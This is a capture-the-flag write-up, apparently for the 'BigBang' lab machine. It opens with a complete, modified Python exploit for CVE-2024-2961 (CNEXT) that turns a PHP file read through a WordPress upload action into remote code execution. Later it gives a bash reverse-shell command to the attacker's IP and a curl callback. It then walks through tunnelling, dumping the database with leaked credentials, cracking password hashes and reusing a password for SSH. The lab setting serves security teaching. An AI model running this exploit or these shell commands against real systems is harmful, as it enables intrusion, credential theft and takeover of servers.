#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations

import base64
import zlib
import urllib.parse
import urllib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "".encode("utf-8")

# Prefix for php://filter chain used in LFY.py
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="

# Modify the helper class
class Remote:
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends the payload and processes the response."""
        # Construct the POST request as in lfi.py
        data = {
            "action": "upload_image_from_url",
            "url": chain_prefix + path,
            "id": "1",
            "accepted_files": "image/gif"
        }
        HEADERS = {
            "Content-Type": "application/x-www-form-urlencoded",
        }
        # Simplify the return logic from PoC
        return self.session.post(self.url, headers=HEADERS, data=data)

       
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path        = f"php://filter/convert.base64-encode/resource={path}"
        response    = self.send(path)
        # Extract error text
        response    = response.json()['response']
        # Filter "File type not allowed" 
        if 'File type' in response:
            print(response)
            return b''
        # Get the uploaded file content
        response = self.session.get(response)
        # Remove GIF header
        data = response.content[6:]
        return data


@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """
        
        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")
            

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        # Produce a random Unicode string.
        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        # Create a URI for PHP like data:// wrapper.
        path = f"data:text/plain;base64,{base64}"
        
        result = safe_download(path)
        
        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        # Check if `php://filter` protocol works
        # Disguise the payload as an image to bypass file-type check
        text = 'GIF89a' + tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")
        msg_info("The [i]php://filter/[/] wrapper works")

        # Check if zlib category is available on the remote server
        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")
        msg_info("The [i]zlib[/] extension is enabled")

        # Bypassing all checks will come to this branch
        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        """A wrapper for Rmote.download"""
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """
        Obtains the memory regions of the PHP process by querying /proc/self/maps.
        
        We use `php://filter//resource=data:text/plain;base64,...` to read files
        The content embedded in the corresponding response is Base64 encoded
        So decode it by complementing the format
        """
        leaked_maps = self.get_file("/proc/self/maps")
        # maps = maps.decode()
        maps = base64.decode(leaked_maps.decode('latin-1') + (4 - len(leaked_maps) % 4) * '=')
        
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        """
        Get the matched libc version (2.36):
        ```
        wget https://ftp.gnu.org/gnu/glibc/glibc-2.36.tar.gz
        tar -xvf glibc-2.36.tar.gz
        cd glibc-2.36
        mkdir build && cd build
        cd build
        ../configure --prefix=/custom/install/path
        make -j$(nproc)
        make install
        ```
        And place it on current working directory
        """
        LIBC_FILE = "./libc.so.6"

        # PHP's heap
        self.info["heap"] = self.heap or self.find_main_heap(regions)
        msg_info(f'Heap address: {hex(self.info["heap"])}')

        # Libc
        libc = self._get_region(regions, "libc-", "libc.so")

        # self.download_file(libc.path, LIBC_FILE)  # Just a check point

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")
        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]
        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        # self.check_vulnerable() # Just a check point
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """Heap overflow"""
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            # self.remote.send(path)
            """
            We cannot use the original function send(path) here.
            Because we modify the `send` function to add extra prefix ahead of the "path"
            to disguise it as an image,
            while the format of "path" here is already processed by `build_exploit_path`
            So just send the "path" to server straight forward!
            """
            data = {'action' : 'upload_image_from_url',
                    'url' : urllib.parse.quote_plus(path),
                    'id' : '1',
                    'accepted_files' : 'image/gif'}
            self.remote.session.post(self.url, data=data)
        except (ConnectionError, ChunkedEncodingError):
            pass
        
        msg_print()
        
        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        
        msg_print()


def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


Exploit()

Enjoy the debugging—that's the beauty of Binary Exploitation. Here's a quick summary of the modifications we made:

  • Embed the logic of lfi.py to the send and download function in the helper class Remote.
  • Create a custom decode method using Base64 for the returned /proc/self/maps, as explained in the comments.
  • Get the matched Glibc version (2.36) used in the container - it's easy since we already have an Arbitrary Read on the output of /proc/self/maps using lfi.py earlier.
    • We can use some found offsets to get the result via Libc Databases like this one, or using some relevant tools to leak the version information.
    • Or, just simply leak the libc object file from standard file path, and use the usual technique for PWN running strings libc.so.6 | grep GNU to extract version number.
  • We need to custom another send method when sending the payload for heap exploitation, as we define send function with the chain created by wrapwrap.

Again, more details are explained in the comments of the script.

PoC Test

Before running the script, we better create a virtual environment using:

Bash
python -m venv venv

Then activate it under current shell:

Bash
source venv/bin/activate

Install the required libraries:

Bash
pip install -r requirements.txt

Install extra dependencies if needed:

Bash
pip install tensorflow

Run the script by testing command id:

Bash
python xpl.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" "curl http://$tun0_ip/?EXPLOIT"

BINGO:

RCE

Get a reverse shell by executing the classic command for Linux system:

Bash
python xpl.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" "bash -c \"bash -i >& /dev/tcp/$tun0_ip/4444 0>&1\""

We have the reverse shell as user www-data:

USER

MySQL

Network | /proc/net/tcp

We confirmed the web server is running inside a container with a very limited executables available. Tools like netstat and ss are missing, but wget is available, allowing us to upload static binaries for tools like nmap.

However, to save time after spending so much on the foothold (though it was fun), we explored Linux's /proc filesystem. This directory holds detailed information about network connections, specifically in /proc/net/tcp and /proc/net/udp:

$ cat /proc/net/tcp

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 37318 1 0000000000000000 100 0 0 10 0                     
   1: 030011AC:C29C 010011AC:0CEA 01 00000000:00000000 02:000A0E6E 00000000    33        0 315259 2 0000000000000000 20 4 1 10 -1                    
   2: 030011AC:9392 02100A0A:115C 01 00000012:00000000 01:00000056 00000000    33        0 316621 3 0000000000000000 116 4 31 10 -1                  

Fields in /proc/net/tcp:

  1. sl: The entry number.
  2. local_address: The local address and port in hexadecimal.
  3. rem_address: The remote address and port in hexadecimal.
  4. st: The connection state (e.g., 0A means LISTEN).
  5. tx_queue/rx_queue: Transmit and receive queue sizes.
  6. inode: The inode representing the socket.

We can manually parse the retrieved data:

  • Entry 0:
    • local_address: 00000000:0050
      • IP: 0.0.0.0 (all interfaces).
      • Port: 0050 in hex = 80 (HTTP).
    • rem_address: 00000000:0000
      • No remote connection (it's a listener).
    • st: 0A = LISTEN.
  • Entry 1:
    • local_address: 030011AC:C29C
      • IP: 172.17.0.3.
      • Port: C29C in hex = 49820.
    • rem_address: 010011AC:0CEA
      • IP: 172.17.0.1.
      • Port: 3306 (MySQL FOUND!).
    • The local_address (172.17.0.3:49820) indicates that something inside the container at 172.17.0.3 is attempting to connect to the database server on 172.17.0.1.
  • Entry 2:
    • local_address: 030011AC:9392
      • IP: 172.17.0.3.
      • Port: 37778 (hex 9392).
    • rem_address: 02100A0A:115C
      • IP: 10.10.16.2.
      • Port: 4444 (Connect to our reverse shell listener).

Port 3306 open for running MySQL for the WordPress server, which is a usual practice. And we know the credentials of the database with the leaked wp-config.php in last chapter:

PHP
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'wp_password' );

/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );

Port Forward | Ligolo-ng

The container doesn't even have mysql installed. To try accessing the MySQL service on the host (172.17.0.1) via port 3306, we can set up port forwarding.

Using our favorite tool, Ligolo-ng, we start by uploading the agent to the container:

Configure the proxy side of Ligolo-ng and establish the connection. On the container, execute the agent(suggest running with an & at the end of the command to run it in the background):

Now we can test our tunneling job with nmap at our attack machine:

Tunnel set up.

Connect MySQL | PHP Script

Connect the database with the provided configurations:

Bash
mysql -u wp_user -p'wp_password' -h 172.17.0.1 -D wordpress

But I could not connect the database even after successfully tunneling with Ligolo-ng:

Port 3306 (MySQL) on the host 172.17.0.1 is closed via Nmap. This means the MySQL service is either not running, or the port is firewalled.

Since the target lacks the mysql binary, but we know PHP is available, we can leverage it to interact with the database directly. Create a PHP script named test.php and serve it using an HTTP server for ease of access:

PHP
<?php
$host = '172.17.0.1';
$user = 'wp_user';
$pass = 'wp_password';
$db = 'wordpress';

$conn = new mysqli($host, $user, $pass, $db);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully\n";

$result = $conn->query("SHOW TABLES");
while ($row = $result->fetch_row()) {
    echo $row[0] . "\n";
}
$conn->close();
?>

Then use curl ... | php to run the script, which returns a success:

But the script only prints Connected successfully which proves MySQL service should be enabled, yet does not output the results of the SQL query back to the php interpreter or the curl response.

Port Forward | Chisel

Try Chisel for tunneling:

This time nmap indicates port 3306 open:

But I still couldn't access the MySQL database connection.

Port Scan | Nmap

Therefore, I uploaded the Nmap source code to the target machine and compiled it locally to perform an internal scan and diagnose the issue:

Port is closed.

Run ps for details:

$ ps -ef

UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 07:26 ?        00:00:01 apache2 -DFOREGROUND
www-data      17       1  0 07:26 ?        00:00:00 apache2 -DFOREGROUND
www-data      22       1  0 07:27 ?        00:00:00 apache2 -DFOREGROUND
www-data      91       1  0 12:31 ?        00:00:00 apache2 -DFOREGROUND
www-data      93       1  0 12:31 ?        00:00:00 sh -c sleep 1; kill -9 $PPID; bash -c "bash -i >& /dev/tcp/10.10.16.2/4444 0>&1"
www-data      95      93  0 12:31 ?        00:00:00 bash -c bash -i >& /dev/tcp/10.10.16.2/4444 0>&1
www-data      96      95  0 12:31 ?        00:00:00 bash -i
www-data      98      96  0 12:32 ?        00:00:00 ./chisel client 10.10.16.2:8088 R:3306:127.0.0.1:3306
www-data     106       1  0 12:45 ?        00:00:00 apache2 -DFOREGROUND
www-data     107       1  0 12:45 ?        00:00:00 apache2 -DFOREGROUND
www-data     134       1  0 13:02 ?        00:00:00 sh -c sleep 1; kill -9 $PPID; bash -c "bash -i >& /dev/tcp/10.10.16.2/4445 0>&1"
www-data     136     134  0 13:02 ?        00:00:00 bash -c bash -i >& /dev/tcp/10.10.16.2/4445 0>&1
www-data     137     136  0 13:02 ?        00:00:00 bash -i
www-data   14375     137  0 13:23 ?        00:00:00 ps -ef

Find mysql, but no executable binary found on the container:

$ find / -name "*mysql*" 2>/dev/null

/usr/local/lib/php/extensions/no-debug-non-zts-20230831/mysqli.so
/usr/local/include/php/ext/mysqlnd
/usr/local/include/php/ext/mysqlnd/mysqlnd_protocol_frame_codec.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_reverse_api.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_charset.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_priv.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_structs.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_vio.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_block_alloc.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_debug.h
/usr/local/include/php/ext/mysqlnd/php_mysqlnd.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_connection.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_plugin.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_ext_plugin.h
/usr/local/include/php/ext/mysqlnd/mysql_float_to_double.h
/usr/local/include/php/ext/mysqlnd/mysqlnd.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_result_meta.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_wireprotocol.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_libmysql_compat.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_statistics.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_result.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_ps.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_read_buffer.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_enum_n_def.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_alloc.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_portability.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_auth.h
/usr/local/include/php/ext/mysqlnd/mysqlnd_commands.h
/usr/local/include/php/ext/mysqli
/usr/local/include/php/ext/mysqli/php_mysqli_structs.h
/usr/local/include/php/ext/mysqli/mysqli_mysqlnd.h
/usr/local/etc/php/conf.d/docker-php-ext-mysqli.ini

Port Forward | Chisel AGAIN

Weirdly enough, after confirming MySQL was indeed running on 172.10.0.1:3306 based on wp-config.php and the output of cat /proc/net/tcp, we encountered the following issues:

  • Port 3306 appeared closed during the internal Nmap scan.
  • Port forwarding using Ligolo-ng with the 172.10.0.0/24 range did not grant access to MySQL.
  • Tunneling 127.0.0.1:3306 with Chisel also failed.

However, when tunneling 172.10.0.1:3306 directly using Chisel:

It works:

Poker Face - We will know why when we get to the ROOT part.

Exploit MySQL

Finally we can dive into the database, for some dummy reasons. We can dump the whole db using one command:

Bash
mysqldump -u wp_user -p'wp_password' -h 172.17.0.1 wordpress --no-tablespaces --skip-ssl > wordpress_dump.sql

This takes a bit of time due to the large amount of dumped data. So we can simply navigate it using SQL queries, which allows us to quickly locate credentials stored in the wp_users table:

Use hashcat --identify to verify the found hashes:

Both user_pass fields use the phpass algorithm for hashing passwords, which is a common hash used in WordPress. Therefore, use Hashcat with mode 400, it turns out the hash from shawking user is crackable:

$P$Br7LUHG9NjNk6/QSYm2chNH▒▒▒▒▒▒▒./:quan▒▒▒▒▒▒▒▒▒▒

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)

Password Reuse

Simply reuse the password for user shawking to SSH login, we compromise the user flag:

ROOT

Internal Enum

Say goodbye to the fragile container; we now have a rock-solid foothold as user shawking.

shawking@bigbang:~$ sudo -l
[sudo] password for shawking: 
Sorry, user shawking may not run sudo on bigbang.

Network

Let's look up the network to see how this machine connects to the containers:

shawking@bigbang:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:afff:fe4d:d335  prefixlen 64  scopeid 0x20<link>
        ether 02:42:af:4d:d3:35  txqueuelen 0  (Ethernet)
        RX packets 29001  bytes 4664588 (4.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 40579  bytes 46767574 (46.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.205.83  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 dead:beef::250:56ff:feb0:7b80  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb0:7b80  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b0:7b:80  txqueuelen 1000  (Ethernet)
        RX packets 43528  bytes 45513948 (45.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 32433  bytes 3537766 (3.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 10335  bytes 947259 (947.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10335  bytes 947259 (947.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth4628275: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::785f:2bff:fe37:44a1  prefixlen 64  scopeid 0x20<link>
        ether 7a:5f:2b:37:44:a1  txqueuelen 0  (Ethernet)
        RX packets 214  bytes 15868 (15.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 74  bytes 4220 (4.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vetha89b570: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::dc6a:c0ff:fe48:b3e3  prefixlen 64  scopeid 0x20<link>
        ether 22:aa:9f:fe:c9:ba  txqueuelen 0  (Ethernet)
        RX packets 3636  bytes 1716386 (1.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3939  bytes 419413 (419.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethd021780: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::34e8:6dff:fe04:a100  prefixlen 64  scopeid 0x20<link>
        ether 36:e8:6d:04:a1:00  txqueuelen 0  (Ethernet)
        RX packets 25151  bytes 3338348 (3.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 36644  bytes 46349561 (46.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
  1. docker0:
    • IP Address: 172.17.0.1
    • This is a bridge interface created by Docker, typically the gateway for containers connected to Docker's default network.
  2. eth0:
    • IP Address: 10.129.205.83
    • This is the main interface connected to the external network.
  3. lo:
    • IP Address: 127.0.0.1
  4. veth* Interfaces:
    • These are virtual Ethernet interfaces created by Docker for container-to-host and container-to-container communication.

lxc

Think we may have a chance exploiting this with socket SUID set. But I decide to delete this section from the post to not making this writeup even longer.

Linpeas

Running MySQL Process (NOT on docker):

  • The MySQL server (mysqld) is active (mysqld --user=mysql).
  • It listens on:
    • Localhost: 127.0.0.1:3306
    • Bridge Interface: 172.17.0.1:3306

Grafana:

  • Grafana is running as root.
  • The configuration file is located at /etc/grafana/grafana.ini.
  • Grafana uses /usr/share/grafana as its home directory.
  • It's being run from Docker.

Active Ports:

  1. 127.0.0.1:3000 (Grafana):
    • Grafana is running on localhost at port 3000.
  2. 127.0.0.1:9090:
    • Port 9090 is commonly associated with Prometheus or another monitoring service.
    • This could provide metrics or other sensitive information.
  3. 172.17.0.1:3306 (MySQL):
    • MySQL is confirmed to be running and accessible at this internal address.

